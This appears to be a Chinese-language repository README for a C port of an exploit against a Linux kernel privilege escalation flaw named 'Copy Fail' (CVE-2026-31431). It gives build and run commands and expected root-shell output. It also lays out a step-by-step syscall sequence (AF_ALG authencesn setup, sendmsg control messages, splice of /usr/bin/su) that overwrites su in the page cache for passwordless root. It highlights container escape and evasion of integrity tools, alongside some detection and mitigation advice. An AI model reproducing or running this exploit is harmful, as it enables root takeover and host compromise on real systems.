Copy Fail (CVE-2026-31431) — 是 Linux 内核中的一个逻辑漏洞,允许本地非特权用户将权限提升至超级用户(root)。该漏洞属于 本地权限提升(Local Privilege Escalation, LPE) 类别,不需要复杂的利用条件(如竞态条件或内存地址猜测),并且可以在 2017 年之后发布的大多数 Linux 发行版上"开箱即用"。
本仓库包含 原始 Python 漏洞利用程序的 C 语言移植版本,带有详细注释,适用于静态编译和在最小化环境中使用。
该漏洞源于 Linux 内核加密子系统中与 AF_ALG(内核加密 API 接口)和 页缓存(page cache)机制相关的逻辑错误。
该错误于 2017 年引入,当时添加了一项优化,通过 就地(in-place)执行 AEAD(带关联数据的认证加密)块加密操作来消除多余的缓冲。由于 authencesn 算法(AEAD 加密模板的一部分)中缓冲区边界处理不正确,导致向分配的缓冲区之外写入 4 字节,从而破坏页缓存的管理结构。
结果,内核可以 将数据写回文件的页缓存,即使该文件仅以只读方式打开(O_RDONLY)。
AF_ALG 套接字并初始化 AEAD 算法 authencesn(hmac(sha256),cbc(aes))。setsockopt() 设置异常参数:
sendmsg() 发起 解密 操作。splice() 系统调用将目标文件(以 O_RDONLY 打开)中的数据移动到加密套接字。authencesn 中的错误,文件的页缓存被破坏,"解密"后的数据被写回缓存。root 权限执行代码。易受攻击的发行版(使用加载了 algif_aead 模块的内核时):
特别重要性:在容器环境(Docker、LXC、Kubernetes)中,如果宿主内核中加载了 algif_aead 模块,容器内的进程默认可以访问 AF_ALG 子系统。这会造成 破坏容器隔离 并获取宿主机控制权的风险。
漏洞检测:
# 检查 algif_aead 模块是否已加载
lsmod | grep algif
# 检查内核中是否存在 AF_ALG
grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)
原始漏洞利用程序是用 Python 编写的(约 732 字节)。此 C 移植版具有以下特点:
libz。strace 验证)。recv() — 防止挂起,复现 Python 中 try/except 的行为。移植过程中发现的与 Python 版本的关键差异:
# 需要 libz(zlib1g-dev 或 zlib-devel)
gcc -o copyfail copyfail.c -lz -static -Wall -O2
./copyfail
利用成功后,将启动一个打过补丁的 /usr/bin/su 版本,无需密码即可提供 root 访问权限。
预期输出:
================================================================
CVE-2026-31431 'Copy Fail' Exploit
================================================================
[+] /usr/bin/su 已打开
[+] 40 个块
[*] 40/40 完成
# id
uid=0(root) gid=0(root) groups=0(root)
以下是漏洞利用程序每个步骤的详细分析,并标明相应的系统调用:
socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(sock, {sa_family=AF_ALG, salg_type="aead",
salg_name="authencesn(hmac(sha256),cbc(aes))"}, 88);
创建用于访问内核加密 API 的套接字。authencesn(带序列号的认证加密)算法是一种复合 AEAD 算法,使用 AES-CBC 进行加密,使用 HMAC-SHA256 进行认证。
setsockopt(sock, SOL_ALG, ALG_SET_KEY, key, 40);
setsockopt(sock, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);
accept(sock, NULL, NULL); // conn_sock
sendmsg(conn_sock, {payload="AAAA"+data,
cmsg=[(SOL_ALG, 3, 4个零), // ALG_SET_OP = DECRYPT
(SOL_ALG, 2, 0x10+19个零), // ALG_SET_IV
(SOL_ALG, 4, 0x08+3个零)]}, // ALG_SET_AEAD_ASSOCLEN
MSG_MORE);
为操作创建连接。通过带有 control messages(CMSG)的 sendmsg() 设置参数:
ALG_OP_DECRYPT = 0)。所有这些异常都会在内核内存管理中造成不一致。
pipe2(pipe_fds, O_CLOEXEC);
splice(target_fd, &src_off, pipe_fds[1], NULL, o, 0);
splice(pipe_fds[0], NULL, conn_sock, NULL, o, 0);
splice() 是用于在文件描述符之间移动数据的系统调用,无需通过用户空间复制。数据在内核层面通过 pipe 机制移动。
splice(target_fd -> pipe):目标文件(/usr/bin/su)中的数据进入 pipe。splice(pipe -> conn_sock):pipe 中的数据作为"密文"进入加密套接字。关键点:在 Python(以及本移植版)中,pipe 的偏移量以 NULL 传递,允许内核自动管理位置。
fcntl(conn_sock, F_SETFL, O_NONBLOCK);
recv(conn_sock, buf, 8 + t, 0);
调用 recv() 使内核完成加密操作。在正常模式下,这里会返回解密后的数据,但由于异常参数,会返回 EBADMSG(Python)或 EAGAIN(使用 O_NONBLOCK 的 C)错误。错误被忽略 — 页缓存的破坏已在 splice() 阶段发生。
页缓存(page cache)是文件内容在内存中的缓存。当进程通过 O_RDONLY 打开文件时,内核只允许从该缓存中读取。然而,该漏洞可以绕过此限制:
write() 时进行,但 splice() 直接在页缓存层面工作,绕过了这些检查。更改仅发生在内存中,而非磁盘上。这使得攻击难以被标准完整性检查工具检测到。重启或清除页缓存后,攻击痕迹消失。
更新 Linux 内核 至包含修复的版本。
禁用 algif_aead 模块:
# 禁止加载模块
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/algif_aead.conf
# 卸载模块(如果已加载)
sudo rmmod algif_aead
其他建议:
AF_ALG。/usr/bin/su 文件会被修改吗?不会。更改仅发生在 页缓存(内存)中。磁盘上文件的内容保持不变。系统重启后,页缓存被清除,文件恢复到原始状态。
可以通过以下方式检测:
auditd、strace)。AF_ALG 套接字使用的异常。标准完整性检查工具(AIDE、Tripwire)无法检测到更改,因为磁盘上的文件保持不变。
本代码 仅用于教育和研究目的。作者对以非法目的使用本代码不承担任何责任。未经系统所有者明确许可使用漏洞利用程序是 非法的,可能招致刑事责任。
请仅在您拥有的系统上使用,或仅在您获得明确书面安全测试许可的系统上使用。
| 组件 | 描述 |
|---|
| Linux 内核 | 从 2017 年到包含修复补丁之前的所有版本 |
| 子系统 | crypto(模块 algif_aead) |
| 接口 | AF_ALG — 用户对内核加密 API 的访问 |
| 系统调用 | splice() 与 AF_ALG 套接字配合使用 |
| 参数 | Python | C(本移植版) |
|---|
sendmsg() 标志 | MSG_MORE | MSG_MORE |
splice() 标志 | 0 | 0 |
| pipe 中的偏移量 | NULL | NULL |
| 密钥大小 | 40 字节 | 40 字节 |
cmsg_len | 20/36/20 | 20/36/20(硬编码) |
| 创建 pipe | pipe2(fds, O_CLOEXEC) | pipe2(fds, O_CLOEXEC) |
recv() | 带 try/except 的阻塞模式 | 非阻塞(O_NONBLOCK) |